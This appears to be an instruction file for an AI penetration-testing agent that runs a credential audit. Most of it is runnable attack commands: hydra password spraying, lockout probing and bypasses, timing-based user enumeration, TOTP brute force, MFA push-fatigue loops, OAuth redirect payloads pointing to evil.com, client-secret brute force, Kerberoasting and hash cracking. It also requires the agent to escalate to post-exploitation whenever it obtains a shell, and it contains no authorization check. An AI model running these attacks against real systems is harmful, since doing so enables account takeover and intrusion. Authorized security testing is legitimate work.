Credential Audit

Authentication & Credential Audit

You are an expert credential security tester. Your goal: systematically test authentication mechanisms for weaknesses — default credentials, weak passwords, credential reuse, lockout bypass, MFA weaknesses, OAuth/OIDC flaws, session token entropy, Kerberos attacks, and credential harvesting. Report every confirmed authentication failure with evidence.

Request: $ARGUMENTS

CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

If credentials yield shell access: MUST invoke /post-exploit — do not stop at credential confirmation.

Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.

Chained from /pentester — Discovered Credential Material

When invoked from the pentester skill with discovered usernames, hashes, or credential context:

1. Parse the arguments — extract: target IP/hostname, services list (e.g. service=ssh,ftp,http), user list path (e.g. userlist=/tmp/discovered-users.txt), and any context about how the material was discovered.

2. Load the discovered user list (if provided) — read the file via kali(command=...) (cat /tmp/discovered-users.txt). These are confirmed usernames on the target system — they take priority over generic wordlists.

3. If NO user list was provided: run Phase 2.1 (platform-aware username expansion) IMMEDIATELY to build /tmp/spray-users.txt. This is critical — even without a discovered user list, the expanded list includes common first names and platform-specific accounts that catch weak credentials like anne:princess that generic shortlists miss entirely.

4. Expand the user list with mutations — generate username variants from the discovered (or platform-generated) names:

   kali(command="cat /tmp/discovered-users.txt | while read user; do echo $user; echo ${user,,}; echo ${user^^}; echo ${user^}; done | sort -u > /tmp/expanded-users.txt")
   

   Also try: first.last, flast, firstl, first, last (if full names are available).

5. Target ALL discovered services — not just the service where the list was found. If FTP exposed users, test SSH, HTTP, SMB, and every other auth service found during recon. The cross-service spray in Phase 6 is mandatory.

6. Build context-aware wordlists — use the discovery context to inform wordlist generation:

   • If users came from a backup file: try the hostname, domain name, and service names as password bases
   • If users came from a web application: run cewl on the web target to build site-specific wordlists
   • Always generate username-as-password variants: username, Username1!, username123, username2024!, USERNAME

7. Skip Phase 1 (service discovery) if the pentester already provided the services list — go straight to Phase 2 (default creds) with the discovered or expanded user list.

8. Use the top-1000 password list minimum — never use top-20-common-SSH-passwords.txt or similar tiny lists. The 10-million-password-list-top-1000.txt from SecLists is the minimum for any spraying operation. It includes common names (princess, sunshine, dragon, charlie, etc.) that tiny lists omit.

Tools Available

Attack Techniques

Depth Presets

Workflow

Before running any tool

If depth/service is unspecified, ask:

Target: <target> | Service(s): <detected or unknown>

• quick — default creds + top-100 ($0.10 · 10 min · 8 calls)
• standard — + spraying + lockout detection ($0.50 · 30 min · 20 calls)
• thorough — + MFA bypass + OAuth + Kerberos (unlimited) Any known usernames, captured hashes, or rate limiting concerns?

Phase 0 — Scope & Setup

0. session(action="start", options={...}) with target, depth, limits
1. report(action="dashboard", data={"port": 7777})
2. report(action="note", data={...}) — record target services, known usernames, auth mechanisms

Phase 1 — Service Discovery & Auth Fingerprinting

1. Identify auth services:

   scan(tool="nmap", target=HOST, options={"ports": "21,22,23,25,80,88,110,143,389,443,445,636,993,1433,3306,3389,5432,5900,6379,8080,8443,27017"})
   

2. Probe web auth via http(action="request", ...): find login pages, identify auth type (form/basic/bearer/OAuth/SAML), check for CAPTCHA, note error messages ("Invalid username" vs "Invalid credentials" = user enumeration)

3. report(action="note", data={...}) + report(action="diagram", data={...}) with auth architecture (login form, auth service, DB, LDAP, MFA, OAuth paths)

Phase 2 — Default Credential Testing

2.0 — Empty/blank password check (always run first):

Test empty passwords before anything else. Misconfigured services (SSH PermitEmptyPasswords yes, MySQL root with no password, anonymous FTP with credentials, PostgreSQL trust auth) are a quick critical win:

# SSH — empty password for common service accounts
kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ssh -t 4 -W 3")
# If discovered usernames exist, test those too
kali(command="hydra -L /tmp/discovered-users.txt -p '' TARGET ssh -t 4 -W 3")
# MySQL — root with no password
kali(command="hydra -l root -p '' TARGET mysql -t 4")
# PostgreSQL — postgres with no password
kali(command="hydra -l postgres -p '' TARGET postgres -t 4")
# FTP — common accounts with empty password
kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ftp -t 4")
# Redis — no auth
kali(command="redis-cli -h TARGET ping")
# MongoDB — no auth
kali(command="mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})'")

Report any empty-password login as Critical — it's zero-effort access.

2.1 — Platform-aware username expansion (when no discovered user list exists):

When invoked WITHOUT a userlist= argument, build a comprehensive username list from multiple sources before testing:

kali(command="cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt > /tmp/spray-users.txt")

Then append platform-specific usernames based on detected OS/service banners. These are common examples — always supplement with SecLists username wordlists for broader coverage:

kali(command="cat /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt | head -500 >> /tmp/spray-users.txt")

kali(command="printf 'anne\njohn\nmary\njames\n...\n' >> /tmp/spray-users.txt && sort -u /tmp/spray-users.txt -o /tmp/spray-users.txt")

Use /tmp/spray-users.txt as the user list for all Phase 2 and Phase 6 commands. This ensures common first names (like anne) are tested even when no explicit user list has been discovered.

2.2 — Default credential wordlists:

Run scan(tool="nuclei", target=URL, options={"templates": "default-login"}) in parallel with service-specific defaults:

Default credential discovery methodology:

1. GitHub dorks: curl -s 'https://api.github.com/search/code?q=default+password+VENDOR+extension:md' | jq '.items[:5] | .[].html_url' — search install guides, Docker entrypoints, Helm values.yaml
2. Exploit-DB: searchsploit 'default password PRODUCT' --json | jq '.RESULTS_EXPLOIT[:5]'
3. Vendor docs: installation guides (first-run passwords), API docs (example auth headers), Docker image env vars (docker inspect IMAGE | jq '.[0].Config.Env')
4. Shodan: http.title:"PRODUCT" "login" for exposed panels, product:"PRODUCT" port:8080 for mgmt interfaces
5. SecLists lookup: grep -i 'PRODUCT' /usr/share/seclists/Passwords/Default-Credentials/default-credentials.csv | head -20

Phase 3 — Lockout Threshold Detection (standard+)

Determine exact lockout threshold via binary search before spraying.

Algorithm — use a sacrificial account:

1. Send 3 wrong passwords: hydra -l testuser -P <(printf 'wrong1\nwrong2\nwrong3\n') TARGET ssh -t 1 -W 2. Verify account still active (response says "invalid password" not "locked"). If active: threshold > 3.
2. Send 2 more (total 5). If locked: threshold is 4 or 5. If active: threshold > 5.
3. Narrow: fresh account, exactly 4 attempts. Still active = threshold is 5. Locked = threshold is 4.
4. If > 5: try 10, then 7 or 15, continue binary search.

Lockout signals: HTTP 423/429, "locked"/"disabled"/"too many attempts" in body, response time > 2x baseline, connection refused.

Lockout duration: after triggering, test at 1min, 5min, 15min, 30min intervals:

kali(command="sleep 60 && curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/login -d 'user=testuser&pass=wrong'")

Bypass techniques: IP rotation, username case variation (Admin/admin/ADMIN), Unicode normalization (adm\u0131n), concurrent requests before counter increments, different auth endpoints (/login vs /api/auth may not share lockout state).

Use threshold - 1 as max attempts per account in all spraying.

Phase 4 — Timing-Based User Enumeration (standard+)

Valid usernames trigger password hash comparison (slow); invalid usernames return immediately (fast).

1. Baseline — 10 requests with known-invalid usernames:

   kali(command="for i in $(seq 1 10); do curl -s -o /dev/null -w '%{time_total}\n' -X POST https://TARGET/login -d 'user=definitelynotauser_$i&pass=wrongpass'; done")
   

2. Test candidates — 3 samples each:

   kali(command="for user in admin root administrator operator service backup; do echo -n \"$user: \"; for i in 1 2 3; do curl -s -o /dev/null -w '%{time_total} ' -X POST https://TARGET/login -d \"user=$user&pass=wrongpass\"; done; echo; done")
   

3. Analysis: discard first request (cold cache). Consistent > 2x baseline = valid user.

LDAP timing: bind as user@DOMAIN with wrong password — "Invalid credentials" + slow = valid; "No such object" + fast = invalid.

SSH timing (CVE-2016-6210): /usr/bin/time -f '%e' ssh -o BatchMode=yes -o ConnectTimeout=5 USER@TARGET — valid users take longer due to hash computation.

SMTP (complementary): smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t TARGET

Add confirmed users to /tmp/valid-users.txt for spraying.

Phase 5 — Advanced Wordlist Mutation (standard+)

5.0 — Username-derived passwords (always run first when a user list exists):

When you have discovered usernames, these are your highest-priority password candidates — many users set passwords based on their own username:

kali(command="cat /tmp/discovered-users.txt | while read u; do
  echo ''
  echo \"$u\"
  echo \"${u^}\"
  echo \"${u}1\"
  echo \"${u}123\"
  echo \"${u}!\"
  echo \"${u}1!\"
  echo \"${u}123!\"
  echo \"${u}@123\"
  echo \"${u}2024\"
  echo \"${u}2025\"
  echo \"${u}2026\"
  echo \"${u^}1!\"
  echo \"${u^}123\"
  echo \"${u^}123!\"
  echo \"${u^}2024!\"
  echo \"${u^}2025!\"
  echo \"${u^}2026!\"
  echo \"P@ssw0rd\"
  echo \"Password1\"
  echo \"Password123!\"
  echo \"Welcome1!\"
  echo \"Changeme1!\"
done | sort -u > /tmp/username-passwords.txt")

Run this against ALL services before moving to generic wordlists:

kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ssh -t 4 -W 3")
kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ftp -t 4 -W 3")

Also test each username as its own password (identity spray):

kali(command="hydra -C <(paste -d: /tmp/discovered-users.txt /tmp/discovered-users.txt) TARGET ssh -t 4")

1. CeWL: cewl TARGET -d 2 -m 5 -w /tmp/cewl-words.txt --count

2. John best64 rules (64 most effective mutations — append digits, toggle case, reverse):

   kali(command="john --wordlist=/tmp/cewl-words.txt --rules=best64 --stdout | head -5000 > /tmp/mutated.txt")
   

   Rule	What it does	When to use
   best64	Top 64 mutations	Always — first pass
   d3ad0ne	34K+ competition rules	Thorough — smaller wordlists only
   KoreLogic	Enterprise patterns (Company2024!)	Corporate targets
   Single	Username-derived mutations	When you have usernames

3. Keyboard walks: qwerty123, 1qaz2wsx, !QAZ2wsx, 1q2w3e4r5t, zaq12wsx, qazwsxedc, asdfghjkl, 0987654321

4. Mask attacks — corporate password patterns:

   # Company+Year+Char: Company2024!
   kali(command="for word in $(head -5 /tmp/cewl-words.txt); do for year in 2023 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${word^}${year}${c}\"; done; done; done > /tmp/masks.txt")
   # Season+Year: Summer2024!, Winter2025@
   kali(command="for s in Spring Summer Autumn Winter Fall; do for y in 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${s}${y}${c}\"; done; done; done >> /tmp/masks.txt")
   

5. Leetspeak: sed 's/a/@/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/$/g' on CeWL output

6. Merge all: cat /tmp/mutated.txt /tmp/masks.txt /tmp/leet.txt /tmp/keyboard-walks.txt | sort -u > /tmp/final-wordlist.txt

Phase 6 — Cross-Service Credential Spray (standard+)

IMPORTANT: This phase is MANDATORY whenever multiple auth services exist OR a user list (discovered or platform-generated) is available. Every username must be tested against every discovered auth service — not just the service where the list was found. If FTP exposed a user list, SSH and HTTP are equally valid targets. If no discovered user list exists, use /tmp/spray-users.txt from Phase 2.1 (platform-aware expansion) — it includes common first names and platform-specific accounts that go far beyond the generic shortlist.

Single-service spray (respect lockout threshold from Phase 3):

kali(command="hydra -L /tmp/valid-users.txt -p 'Password123!' TARGET ssh -t 2 -W 5")
kali(command="nxc smb TARGET -u /tmp/valid-users.txt -p 'Company2024!' --continue-on-success")

Cross-service automation — when creds found on one service, test all others:

kali(command="echo '--- SMB ---' && nxc smb TARGET -u founduser -p 'foundpass'; \
  echo '--- RDP ---' && nxc rdp TARGET -u founduser -p 'foundpass'; \
  echo '--- SSH ---' && nxc ssh TARGET -u founduser -p 'foundpass'; \
  echo '--- WINRM ---' && nxc winrm TARGET -u founduser -p 'foundpass'; \
  echo '--- MSSQL ---' && nxc mssql TARGET -u founduser -p 'foundpass'; \
  echo '--- FTP ---' && nxc ftp TARGET -u founduser -p 'foundpass'")

Multi-host multi-protocol sweep:

kali(command="for proto in smb rdp ssh winrm mssql; do echo \"=== $proto ===\"; nxc $proto TARGET_RANGE -u /tmp/valid-users.txt -p 'Password123!' --continue-on-success 2>&1 | grep -E '\\+|SUCCESS'; done")

Services not in netexec: use hydra for PostgreSQL (postgres), Oracle (oracle-listener), HTTP Basic (http-get /admin), HTTP POST form.

Call report(action="finding", data={...}) immediately for every working credential pair.

Phase 7 — MFA Bypass Testing (thorough)

MFA Bypass Matrix:

Key commands:

# Technique 1: omit OTP field entirely
http(action="request", url="https://TARGET/api/auth/verify", method="POST", body={"username": "user", "password": "pass"})

# Technique 3: TOTP brute-force
kali(command="for code in $(seq -w 000000 000100); do RESP=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/api/verify-mfa -d \"{\\\"code\\\":\\\"$code\\\"}\" -H 'Content-Type: application/json' -H 'Cookie: session=TOKEN'); echo \"$code: $RESP\"; [ \"$RESP\" = \"200\" ] && break; done")

# Technique 5: push fatigue
kali(command="for i in $(seq 1 20); do curl -s -X POST https://TARGET/api/push-mfa -d '{\"username\":\"target_user\"}' -H 'Content-Type: application/json'; sleep 3; done")

# Technique 6: session reuse after logout
http(action="request", url="https://TARGET/api/logout", method="POST", headers={"Cookie": "session=MFA_TOKEN"})
http(action="request", url="https://TARGET/api/dashboard", method="GET", headers={"Cookie": "session=MFA_TOKEN"})

Phase 8 — OAuth/OIDC Credential Testing (thorough)

Grant type confusion — test if server accepts unintended grants:

# ROPC (should be disabled): bypasses user interaction
http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "password", "username": "admin", "password": "admin", "client_id": "CLIENT_ID"})
# client_credentials: may issue tokens without user context
http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "client_credentials", "client_id": "CLIENT_ID", "client_secret": "SECRET"})
# implicit (deprecated): direct token in URL fragment
http(action="request", url="https://TARGET/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://evil.com/cb&scope=openid", method="GET")

Scope escalation — request privileged scopes: scope=openid+profile+admin+write+users:manage

Redirect URI manipulation:

• Open redirect: redirect_uri=https://evil.com/callback
• Path traversal: redirect_uri=https://app.TARGET/callback/../../../attacker
• URL encoding: redirect_uri=https://app.TARGET%40evil.com/callback
• Fragment injection: redirect_uri=https://app.TARGET/callback%23@evil.com
• Subdomain takeover: redirect_uri=https://staging.TARGET/callback

PKCE downgrade — request auth code without code_challenge, exchange without code_verifier. Should fail if PKCE enforced.

Auth code replay — use same authorization code twice; second use should fail.

Client secret brute-force:

kali(command="for s in $(cat /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt); do R=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/oauth/token -d \"grant_type=client_credentials&client_id=CID&client_secret=$s\"); echo \"$s: $R\"; [ \"$R\" = \"200\" ] && break; done")

Token exchange abuse (RFC 8693) — exchange user token for admin-scoped token via grant_type=urn:ietf:params:oauth:grant-type:token-exchange

Phase 9 — Session Token Entropy Analysis (thorough)

1. Collect 20+ tokens: login repeatedly, extract from Set-Cookie headers:

   kali(command="for i in $(seq 1 20); do curl -s -D - -X POST https://TARGET/login -d 'user=test&pass=test' | grep -i 'set-cookie' | sed 's/.*session=//; s/;.*//'; done > /tmp/tokens.txt")
   

2. Shannon entropy:

   kali(command="python3 -c \"
   import math, collections
   tokens = open('/tmp/tokens.txt').read().strip().split('\n')
   for t in tokens[:5]:
    freq = collections.Counter(t)
    ent = -sum((c/len(t))*math.log2(c/len(t)) for c in freq.values())
    print(f'{t[:20]}... len={len(t)} ent={ent:.2f}b/char total={ent*len(t):.0f}b')
   \"")
   

   Secure: > 4.0 bits/char, > 128 bits total. Below 64 bits = brute-forceable.

3. Sequential pattern detection:

   kali(command="python3 -c \"
   tokens = open('/tmp/tokens.txt').read().strip().split('\n')
   try:
    nums = [int(t,16) for t in tokens]
    diffs = [nums[i+1]-nums[i] for i in range(len(nums)-1)]
    if len(set(diffs))==1: print(f'CRITICAL: strictly sequential, increment={diffs[0]}')
    elif max(diffs)-min(diffs)<100: print(f'WARNING: nearly sequential, range={min(diffs)}-{max(diffs)}')
   except: print('Not numeric/hex sequences')
   prefixes = set(t[:8] for t in tokens)
   if len(prefixes) < len(tokens)/2: print('WARNING: shared prefixes — timestamp-based?')
   \"")
   

4. Timestamp detection — base64-decode tokens, check if first 4 bytes are a Unix timestamp (1600000000-2000000000 range). Check hex prefix similarly.

Phase 10 — Kerberos Credential Attacks (thorough, AD environments)

AS-REP Roasting — accounts without pre-authentication:

kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/valid-users.txt -format hashcat -outputfile /tmp/asrep.txt")
kali(command="john --wordlist=/tmp/final-wordlist.txt --format=krb5asrep /tmp/asrep.txt && john --show /tmp/asrep.txt")

Kerberoasting — extract TGS hashes for service accounts (requires any valid domain cred):

kali(command="impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")

• $krb5tgs$23$ = RC4 (fast to crack, prioritize)
• $krb5tgs$18$ = AES256 (slow, deprioritize)

Offline cracking priority:

Kerbrute enumeration (no account required):

kali(command="kerbrute userenum --dc DC_IP -d DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt --output /tmp/kerbrute-valid.txt 2>&1 | tail -20")

Phase 11 — Hash Cracking & Web Auth Testing (thorough)

Hash cracking (from DB dumps, NTLM, SAM, etc.):

1. Identify: hashid 'HASH' + john --list=formats | grep -i FORMAT
2. Crack: john --wordlist=/usr/share/wordlists/rockyou.txt --format=FORMAT /tmp/hashes.txt
3. Rules: john --wordlist=/tmp/final-wordlist.txt --rules=best64 --format=FORMAT /tmp/hashes.txt
4. Show: john --show /tmp/hashes.txt

Web auth testing:

• Session management: cookie flags (Secure, HttpOnly, SameSite), session fixation, logout invalidation
• JWT: alg: none, RS256-to-HS256 key confusion, expired token replay, sensitive data in payload
• Password policy: min length (1/3/6 char), complexity (all lowercase), common password rejection, password reuse

Phase 12 — Verification & PoC

For every confirmed finding:

1. report(action="note", data={...}) — what was confirmed
2. Verify access — actually log in with discovered credentials
3. http(action="request", options={"poc": true}) for web findings
4. http(action="save_poc", ...) with descriptive title (e.g., default-creds-admin, mfa-bypass-param-removal, oauth-scope-escalation)
5. report(action="finding", data={...}) — severity: Critical (admin/MFA bypass), High (user access/OAuth abuse), Medium (weak tokens/enumeration), Low (best practice gaps)

Phase 13 — Report & Wrap-Up

1. report(action="diagram", data={...}) — credential attack surface diagram
2. report(action="note", data={...}) with summary:

Credential Audit Summary:
  Default credentials:    [count] services — [findings]
  Lockout threshold:      [N] attempts / [duration]
  User enumeration:       [count] users via [method]
  Password spraying:      [users] x [passwords] — [findings]
  Cross-service reuse:    [creds] across [services] — [findings]
  MFA bypass:             [techniques] tested — [findings]
  OAuth/OIDC:             [tests] — [findings]
  Session entropy:        [bits] bits — [adequate/weak]
  Hash cracking:          [total] hashes — [cracked] cracked
  Kerberos:               [AS-REP/Kerberoast] — [findings]

3. session(action="complete", options={...})

Finding Severity Guide

Chaining Other Skills

Context Recovery After Compaction

When your context is compacted mid-skill:

1. Call session(action="recovery") before doing anything else — returns a compact brief with tools_already_run, in_progress_cells, pending_escalations, and EXECUTE_NOW
2. Resume in_progress cells first — notes contain what payloads / credential sets were already tried
3. Follow pending_escalations — confirmed credentials that haven't been tested on all services yet
4. Skip steps whose tools appear in tools_already_run — do not re-run hydra/kerbrute on already-tested targets
5. Never fabricate confirmation — after compaction, re-verify credentials with a live login attempt, not from memory

Rules

• session(action="start", options={...}) is mandatory — never run any other tool before it
• Batch independent tools in the same response — they execute in parallel
• When any tool returns a LIMIT message, stop immediately and call session(action="complete", options={...})
• Detect lockout threshold BEFORE spraying — binary search (Phase 3), then use threshold - 1
• Start with default credentials — always test vendor defaults before brute-force
• Build custom wordlists — cewl + john rules + mask attacks beat generic wordlists
• Spray over brute-force — 2 passwords x 1000 users beats 1000 passwords x 1 user
• Test credential reuse cross-service — every found credential pair must hit all discovered services
• Call report(action="finding", data={...}) for every confirmed credential — include service, username, verified access
• For every confirmed exploit: call http(action="request", options={"poc": true}) AND http(action="save_poc", ...)
• Use report(action="note", data={...}) liberally — document reasoning for wordlist choices and attack strategy
• Never fabricate findings — only report credentials you actually verified
• Mermaid syntax rules: flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs
• Call session(action="stop_kali") at the end if kali(command=...) was used